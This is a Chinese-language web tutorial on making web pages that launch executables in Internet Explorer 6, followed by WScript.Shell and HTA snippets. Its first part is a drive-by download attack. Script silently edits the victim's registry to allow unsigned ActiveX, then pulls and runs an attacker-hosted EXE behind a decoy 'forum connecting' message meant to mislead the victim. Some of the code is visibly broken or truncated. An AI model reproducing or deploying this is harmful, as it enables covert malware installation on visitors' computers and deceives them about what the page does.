讓IE6.0執行EXE檔案的網頁
說到要做一個讓網頁讓IE6.0瀏覽的時候來執行空間下的一個EXE檔案的方法要和以前寫過的5.0的方法是完全不一樣的了，5.0的總體思路是用一個HTML的檔案帶動一
個有錯誤開頭的EML檔案，讓IE無條件的執行EML中的附件，可是當我們把IE升級到6.0的時候，再開啟這個頁面我們會發現WINDOWS會出現一個開啟檔案的介面，所以我們
前面做的針對IE5.0的是無效的。
下面我們來看看怎麼讓6.0來執行我們空間的同路徑下的一個EXE檔案，方法大致是當使用者開啟第一個HTML的頁面時，通過惡意的HTML代碼把IE安全層級裡的預設的
“禁用下栽未簽名的ActiveX控制項”選項，變為“啟用下栽未簽名的ActiveX控制項”，然後馬上開啟第二個HTML的檔案內容是下載一個未簽名的ActiveX控制項，實質就是我們
所要執行的EXE檔案，好了，下面我們來說說具體的製作步驟。
【第一步】建立一個1.HTM的檔案，內容如下：
<SCRIPT>
document.write("");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Internet Settings//Zones//3//1004",0,"REG_DWORD");
var expdate = new Date((new Date()).getTime() + (1));
documents.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
<script language="javascript">
這裡需要說明的是，其中“window.open('http://xiaomutou.diy.163.com/2.htm','colortext')”中的“http://xiaomutou.diy.163.com/2.htm”要改為你自己的
首頁空間的路徑，其中“setTimeout("opencolortext()",1500)”的“1500”是延時1.5秒中之後開啟我們一會將要做的2.HTM檔案。好，我們現在就來做這個2.HTM文
件，內容如下：
<SCRIPT language=javascript>
run_exe=""
run_exe+="
";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
論壇串連中請勿終斷....
說明，代碼中“run_exe+="CODEBASE=/"3.exe#version=1,1,1,1/">" ”的“3.EXE”就是IE將來要執行的同路徑下你的EXE檔案
至於論壇串連中請勿終斷，完全是迷惑對方的你自己可以變成自己的話。
好了現在將我們做的1.HTM、2.HTM和自己要對方執行的EXE檔案一併上傳到自己的首頁空間下。
現在就讓我們用IE6.0來直接瀏覽這個1.HTM的檔案吧，當開啟這個頁面的1-2秒後應該自動開啟另一個空白的頁面，緊接著你的EXE檔案將被執行，注意所放的EXE檔案不要
過大，最好能控制在100K之內
===============================================
給個例子：
直接調用windows中的畫圖板，其他的類似。
<script language="vbscript">
DIM objShell
Set objShell=CreateObject("WScript.Shell")
objShell.Run "%SystemRoot%/System32/mspaint.exe",1,FALSE
Set objShell = Nothing
</script>
如果是註冊組件的話，可用下列的方法：
regsvr32 dllname
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style>
<!--
body, table, p, td, div,select { font:menu}
.button {boder:0; HEIGHT: 20px;width:60px;cursor:hand;font:menu}
-->
</style>
</head>
<body>
<SCRIPT language=JavaScript>
function Run(strPath) {
exe.value=strPath;
try {
var objShell = new ActiveXObject("wscript.shell");
objShell.Run(strPath);
objShell = null;
}
catch (e){alert('找不到檔案"'+strPath+'"(或它的組件之一)。請確定路徑和檔案名稱是否正確，而且所需的庫檔案均可用。')
}
}
</SCRIPT>
請輸入要啟動並執行程式：<br/><input name=exe type=text size=20 value="regedit">
<BUTTON class=button onclick="Run(exe.value)">確定</BUTTON>
<BUTTON class=button onclick=exe.value="";>重新輸入</BUTTON><br/>
<BUTTON class=button onclick="Run('notepad')">記事本</BUTTON><br/>
<BUTTON class=button onclick="Run('mspaint')">畫圖板</BUTTON><br/>
<BUTTON class=button onclick="Run('calc')">計算機</BUTTON><br/>
<BUTTON class=button onclick="Run('cmd')">cmd</BUTTON><br/>
<BUTTON class=button onclick="Run('Regedit')">Regedit</BUTTON><br/>
<BUTTON class=button onclick="Run('Msconfig')">Msconfig</BUTTON><br/>
<BUTTON class=button onclick="Run('IEXPLORE.EXE')">IE</BUTTON><br/>
<BUTTON class=button onclick="Run('..')">..</BUTTON><br/>
<BUTTON class=button onclick="Run('%windir%')">%windir%</BUTTON><br/>
<BUTTON class=button onclick="Run('%temp%')">%temp%</BUTTON><br/>
<div style="position: absolute; bottom: 10; left: 0; width: 150; height: 18;cursor:hand;z-index:100000;font:menu;background:infobackground;border:1 solid #999999;padding:4px;">
<input type="button" name="Button" value="原始碼" onClick= 'window.location = "view-source:" + window.location.href'>
</div>
</p>
</body>
</html>
===================================================================
用下面的代碼，並把檔案儲存為*.hta尾碼名
<body onload="window.opener=null;window.close();">
</body>
<script language="VBScript">
Dim WSHShell
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.run("c:/1.exe")
</script>
==================================================================
WSH初步
下面，我們來看看一些WSH的初步執行個體，其中每個執行個體可以實現一個簡單的功能，在我們瞭解每個執行個體的功能後，我們會把這些例子綜合成一個非常實用的指令碼，協助你實現實用、個人化的強大功能。
1.在案頭建立捷徑
WSHShell = WScript.CreateObject("WScript.Shell");
DesktopPath = WSHShell.SpecialFolders("Desktop");
Shortcut1 = WSHShell.CreateShortcut(DesktopPath + "//記事本捷徑.lnk");
Shortcut1.TargetPath = "c://Windows//notepad.exe";
Shortcut1.Save();
其中SpecialFolders這個函數是用來讀取案頭路徑的，取得案頭路徑後，在案頭上建立一個"/記事本捷徑.lnk"的檔案，並將這個捷徑檔案的目標指向Notepad.exe，最後將這些資訊儲存，這個指令碼的工作就完成了。
2.執行特定的命令
下列這個樣本會用記事本開啟" C:/autoexec.bat"檔案，並開啟 DOS 命令視窗（並列出執行 dir c:/Windows 的結果），程式碼如下：
// 產生 WSH Shell
shell = WScript.CreateObject("WScript.Shell");
// 開啟記事本並載入 c:/autoexec.bat
shell.Run("notepad.exe c://autoexec.bat");
// 開啟 DOS 命令視窗並執行 dir c:/Windows
shell.Run("cmd /K dir c://Windows");
在上述範例中，所開啟的應用程式會保持開啟狀態，而 WSH 會持續執行其後的程式碼。若要等待應用程式被關閉後，才繼續執行其後的 WSH 程式碼，可以在 run() 之後再加上其它參數。如我們需要在關閉Notepad後再繼續執行，應該怎麼辦呢？
// 如何由 WSH 執行其它應用程式，並等待應用程式結束後才繼續執行 WSH 程式碼
shell = new ActiveXObject("WScript.Shell");
intReturn = shell.Run("notepad " + WScript.ScriptFullName, 1, true);
shell.Popup("記事本已經被關閉！");
==============================================================
<SCRIPT LANGUAGE="VBScript">
Set objShell = CreateObject("Wscript.Shell")
strCommand = "C:/1.exe"
objShell.Run strCommand, 0, True
</SCRIPT>
=========================================================
chr(34)是加雙引號，給path加上後就可以直接啟動exe檔案了。包含空格的也可以開啟。
<SCRIPT LANGUAGE="VBScript">
Set objShell = CreateObject("Wscript.Shell")
strCommand = chr(34) & "C:/Program Files/EditPlus 2/editplus.exe" & chr(34)
objShell.Run strCommand, 0, True
</SCRIPT>
如果這樣你打不開，可能你ie設定啟用activeX禁止。
strCommand = "sndrec32 /play /close " & chr(34) & strSoundFile & chr(34)
裡面的sndrec32 是window內建的錄音機 ，然後用它啟動後面的path為strSoundFile 的檔案。
普通的exe檔案就用
<SCRIPT LANGUAGE="VBScript">
Set objShell = CreateObject("Wscript.Shell")
strCommand = chr(34) & "C:/Program Files/EditPlus 2/editplus.exe" & chr(34)
objShell.Run strCommand, 0, True
</SCRIPT>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
